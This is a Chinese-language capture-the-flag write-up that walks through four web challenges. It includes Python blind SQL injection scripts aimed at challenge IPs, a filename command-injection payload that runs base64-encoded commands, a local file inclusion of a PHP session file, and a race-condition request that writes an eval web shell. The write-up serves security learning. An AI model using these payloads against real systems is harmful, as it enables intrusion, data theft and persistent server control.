之前在学其他知识点的时候看到了这个比赛,顺便学一哈
77777
这题的关键点在这一段代码上 waf过滤了很多,但是like没有过滤,所以可以用like注入去获得password字段 假如我们传过去的flag是123,hi是where (password like 0x25) 查询语句就会变成
1
update users set points=123 where (password like 0x25 )
这时分数变成了123,如果我们匹配一个错的字符分数会不变,因此就是like盲注,脚本如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
import requestsimport stringimport urlliburl = "http://47.97.168.223/index.php" flag = "" true_flag = "" for i in range(1 ,1000 ): payload = flag for j in "0123456789" +string.letters+"!@#$%^&*()_+={}~`" : data = { 'flag' :"123" , "hi" :urllib.unquote(" where (password like 0x%s25)" %(payload+hex(ord(j))[2 :])) } r = requests.post(url=url,data=data) if '123' in r.content: flag += hex(ord(j))[2 :] true_flag += j print(true_flag) data1 = { "flag" :"1" , "hi" :" where 1" } r = requests.post(url=url,data=data1) break
77777 2
这一题也是注入,但是过滤了更加多的东西,like和非1的数字都被过滤了,剩下括号,加号和大于号。 可以看到,因为(username > “a”)为真,所以id=1+1=2,选出来的是id=2的用户的信息。 回去题目update那里也可以用这样的方法判断pw是什么 脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
import requestsimport urlliburl = "http://47.52.137.90:20000/index.php" flag = "" for i in range(1 ,1000 ): for j in range(33 ,127 ): payload = urllib.unquote("%%2b( pw > '%s')" %(flag+chr(j))) data = { "flag" :"123" , "hi" :payload } r = requests.post(url=url,data=data) if "| 123<br/>" in r.content: tmp = urllib.unquote("%%2b( pw > '%s')" %(flag+chr(j-1 ))) tmp_data = { "flag" :"123" , "hi" :tmp } s = requests.post(url=url,data=tmp_data) if "| 124<br/>" in s.content: flag += chr(j-1 ) print(flag) break
funning eating cms
这题本来想把docker搭起来,但是中途不知道为什么一直出错,只能看着源码去学了。 user.php有文件包含漏洞,可以读下源码
index.php
1 2 3 4 5 6 7 8 9
<?php require_once "function.php" ;if (isset ($_SESSION['login' ] )){ Header("Location: user.php?page=info" ); } else { include "templates/index.html" ; } ?>
function.php(这个代码只贴关键的部分)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
<?php session_start(); require_once "config.php" ;function Hacker () { Header("Location: hacker.php" ); die (); } function filter_directory () { $keywords = ["flag" ,"manage" ,"ffffllllaaaaggg" ]; $uri = parse_url($_SERVER["REQUEST_URI" ]); parse_str($uri['query' ], $query); foreach ($keywords as $token) { foreach ($query as $k => $v) { if (stristr($k, $token)) hacker(); if (stristr($v, $token)) hacker(); } } }
可以看到过滤了flag、manage、ffffllllaaaaggg这些关键字,但是可以看到赋值uri的时候用了parse_url,因此可以用斜杠绕过。
ffffllllaaaaggg.php
1 2 3 4 5 6 7
<?php if (FLAG_SIG != 1 ){ die ("you can not visit it directly" ); }else { echo "you can find sth in m4aaannngggeee" ; } ?>
m4aaannngggeee.php
1 2 3 4 5 6
<?php if (FLAG_SIG != 1 ){ die ("you can not visit it directly" ); } include "templates/upload.html" ;?>
upload.html会将文件上传到upllloadddd.php,因此读一下upllloadddd.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
<?php $allowtype = array ("gif" ,"png" ,"jpg" ); $size = 10000000 ; $path = "./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/" ; $filename = $_FILES['file' ]['name' ]; if (is_uploaded_file($_FILES['file' ]['tmp_name' ])){ if (!move_uploaded_file($_FILES['file' ]['tmp_name' ],$path.$filename)){ die ("error:can not move" ); } }else { die ("error:not an upload file!" ); } $newfile = $path.$filename; echo "file upload success<br />" ;echo $filename;$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/" .$filename." | base64 -w 0" ); echo "<img src='data:image/png;base64," .$picdata."'></img>" ;if ($_FILES['file' ]['error' ]>0 ){ unlink($newfile); die ("Upload file error: " ); } $ext = array_pop(explode("." ,$_FILES['file' ]['name' ])); if (!in_array($ext,$allowtype)){ unlink($newfile); } ?>
可以看见有这样一句话
1 2
$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/" .$filename." | base64 -w 0" ); echo "<img src='data:image/png;base64," .$picdata."'></img>" ;
system处可以进行命令注入,我们先看一下本地的 可以看见,确实是可以将信息打印出来的,因此我们构造filename || ls 文件名去进行命令执行
1 2 3
filename="1.jpg || ls" filename="1.jpg || `echo bHMgLw== | base64 -d`" filename="1.jpg || `echo Y2F0IC9mbGFnXzIzMzMzMw== | base64 -d`"
然后就能拿到flag了
easy php
这题首先扫泄露可以扫到一些源码
1 2 3 4 5 6 7 8
index.php <?php require_once 'user.php' ;$C = new Customer(); if (isset ($_GET['action' ]))require_once 'views/' .$_GET['action' ];else header('Location: index.php?action=login' );
找一些可控的量
1 2
if (isset ($_POST['username' ]) && isset ($_POST['password' ])if (isset ($_POST['signature' ]) && isset ($_POST['mood' ]))
password的验证基本不可能绕过
1
$password = md5($_POST['password' ]);
username过滤了一堆东西
1
if (preg_match('/[^a-zA-Z0-9_]/is' ,$username) or strlen($username)<3 or strlen($username)>20 )
剩下两个东西
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
function addsla_all () { if (!get_magic_quotes_gpc()){ if (!empty ($_GET)){ $_GET = addslashes_deep($_GET); } if (!empty ($_POST)){ $_POST = addslashes_deep($_POST); } $_COOKIE = addslashes_deep($_COOKIE); $_REQUEST = addslashes_deep($_REQUEST); } } addsla_all(); $mood = addslashes(serialize(new Mood((int)$_POST['mood' ],get_ip()))); $db = new Db(); @$ret = $db->insert(array ('userid' ,'username' ,'signature' ,'mood' ),'ctf_user_signature' ,array ($this ->userid,$this ->username,$_POST['signature' ],$mood));
可以看到signature和mood会进行sql查询,引号无法使用,但是反引号还是可以用的
1 2
$db->insert(array ('userid' ,'username' ,' signature=1`,`123`),((select if((select database()) like 0x25,sleep(5),0)),(select 2),`12345' ,'1' ),'ctf_user_signature' ,array ($this ->userid,$this ->username,$_POST['signature' ],$mood));
因此可以进行反引号注入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
import requestsimport stringimport urlliburl = "http://47.97.221.96:23333/index.php?action=publish" flag = "" true_flag = "" cookie = { "PHPSESSID" :"adjd54akdsoej9savry8d5sdh0" } for i in range(1 ,1000 ): print i payload = flag for j in "0123456789." +string.letters+"!@#$%^&*()-+={}`~_" : data = { "signature" : urllib.unquote("1`,`123`),((select if((select password from ctf_users limit 1)) like 0x%s25,sleep(3),0)),(select 2),`yingyingying" % (payload + hex(ord(j))[2 :])), "mood" : "1" } try : r = requests.post(url=url,data=data,cookies=cookie,timeout=2.5 ) except : flag += hex(ord(j))[2 :] true_flag += j print true_flag break
然后拿到管理员的密码是nu1ladmin,但是登录发现要“you can only login at the usual address” admin的allow_ip是127.0.0.1,题目还提示了是ssrf攻击,所以这个ssrf应该是本地用户登录以后才能用。 开启了upload_progress.enabled,而且还给出来session.save_path的路径,尝试一下包含
1
http://47.97.221.96/index.php?action=../../../../var/lib/php5/sess_bk4gtkgh5k3ul3tvaejvtqo36t
发现确实能包含
到了这步,考察的就是session_upload了 先看一下官方的文档
1
http://php.net/manual/zh/session.upload-progress.php
然后我们的表单改成这样
1 2 3 4 5 6
<form action ="http://47.97.221.96:23333" method ="post" enctype ="multipart/form-data" > <input type ="hidden" name ="PHP_SESSION_UPLOAD_PROGRESS" value ="<?=phpinfo();?>" /> <input type ="file" name ="file1" /> <input type ="file" name ="file2" /> <input type ="submit" /> </form >
因为cleanup为on,用条件竞争去写shell 数据包
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
# 发包 Cookie: PHP_SESSID = bk4gtkgh5k3ul3tvaejvtqo36t Connection: done ------0123456789 Content-Disposition: form-data: name="PHP_SESSION_UPLOAD_PROGRESS" <?=`echo'<?php eval(\$_POST[cmd]) ?>'>1.php`?> ------0123456789 Content-Disposition: form-data: name="file1";filename="dog.jpg" Content-Type: image/jpeg <script language="php"> phpinfo(); </script> -------0123456789 Content-Disposition: form-data: name="file2";filename="dog.jpg" Content-Type: image/jpeg <script language="php"> phpinfo(); </script> -------0123456789 # 请求 GET /index.php?action=../../../../var/lib/php5/sess_bk4gtkgh5k3ul3tvaejvtqo36t HTTP/1.1 Host: 47.97.221.96:23333 Cache-Control: max-age=0 Upgrade-Insecure-Request: 1 User-Agent: xxx Accept: xxx Accept-Language: xxx Cookie: PHPSESSID = bk4gtkgh5k3ul3tvaejvtqo36t Connetion: close
然后可以在/app/下面找到写进去的shell,用菜刀连过去,没有找到flag文件???试一下题目开头这句
1
dockerfile FROM andreisamuilik/php5.5.9-apache2.4-mysql5.5
找到这堆东西
1 2 3 4 5 6 7 8 9 10 11 12 13 14
ADD nu1lctf.tar.gz /app/ RUN apt-get update RUN a2enmod rewrite COPY sql.sql /tmp/sql.sql COPY run.sh /run.sh RUN mkdir /home/nu1lctf COPY clean_danger.sh /home/nu1lctf/clean_danger.sh RUN chmod +x /run.sh RUN chmod 777 /tmp/sql.sql RUN chmod 555 /home/nu1lctf/clean_danger.sh EXPOSE 80 CMD ["/run.sh"]
读取.sh文件
1 2 3 4 5
clean_danger.sh cd /app/adminpic/ rm *.jpg run.sh # !/bin/bash chown www-data:www-data /app -R if [ "$ALLOW_OVERRIDE " = "**False**" ]; then unset ALLOW_OVERRIDE else sed -i "s/AllowOverride None/AllowOverride All/g" /etc/apache2/apache2.conf a2enmod rewrite fi
可以看到有数据库密码,登录进后台就能拿到flag了
评论